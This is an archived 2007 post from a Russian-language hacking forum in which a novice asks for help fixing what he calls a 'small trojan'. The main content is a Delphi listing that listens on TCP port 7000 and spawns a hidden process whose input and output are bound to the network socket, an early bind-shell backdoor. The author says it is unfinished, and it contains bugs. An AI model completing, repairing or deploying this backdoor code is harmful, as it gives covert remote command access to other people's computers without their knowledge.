ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

03.10.2007, 17:31
|
|
Новичок
Регистрация: 02.10.2007
Сообщений: 29
Провел на форуме: 40682
Репутация:
5
|
|
небольшой трой Bs
народ помогите кто может и понимает в этом деле...
тока без лишнего трепа типа я крутой хакер а ты ламо...если можешь помоги!
написал эту дрянь (еще начало тока типа) - а она не работает... я конечно может не понимаю смысл и методику использования CreateProcess........ какие сдесь ошибки, подскажите...(ошибки в ДНК не принимаюцца  )
Код:
program test;
{$APPTYPE CONSOLE}
uses SysUtils, winsock, windows;
var si:TSTARTUPINFO;
sa,addr_from:sockaddr_in ;
pi:PROCESS_INFORMATION;
len,rec:integer;
HWSAdata:WSADATA;
s,s_cln:Tsocket;
st:string[100];
begin
WSAStartup($0101,HWSAdata);
s:=Socket(AF_INET,SOCK_STREAM,0);
sa.sin_family:=AF_INET;
sa.sin_port:=htons(7000);
sa.sin_addr.s_addr:=INADDR_ANY;
fillchar(sa.sin_zero, 8, 0);
bind(s,sa, sizeof(sa));
listen(s,3);
len:=sizeof(addr_from);
while true do begin
s_cln:=accept(s,@addr_from,@len);
while true do begin
rec:=recv(s_cln, st, 100, 0);
if rec=0 then break
else begin
si.cb:=sizeof(si);
si.wShowWindow:=SW_HIDE;
si.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.hStdInput:=s_cln;
si.hStdOutput:=s_cln;
si.hStdError:=s_cln;
si.lpDesktop:=nil;
si.lpTitle:=nil;
si.lpReserved2:=NIL;
CreateProcess(NIL ,'dir с:',NIL, NIL,TRUE,0,NIL,NIL,si,pi);
FillChar(st,255,#0);
end;
end;
closesocket(s_cln);
//sleep(100);
end;
closesocket(s);
WSACleanup();
end.
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|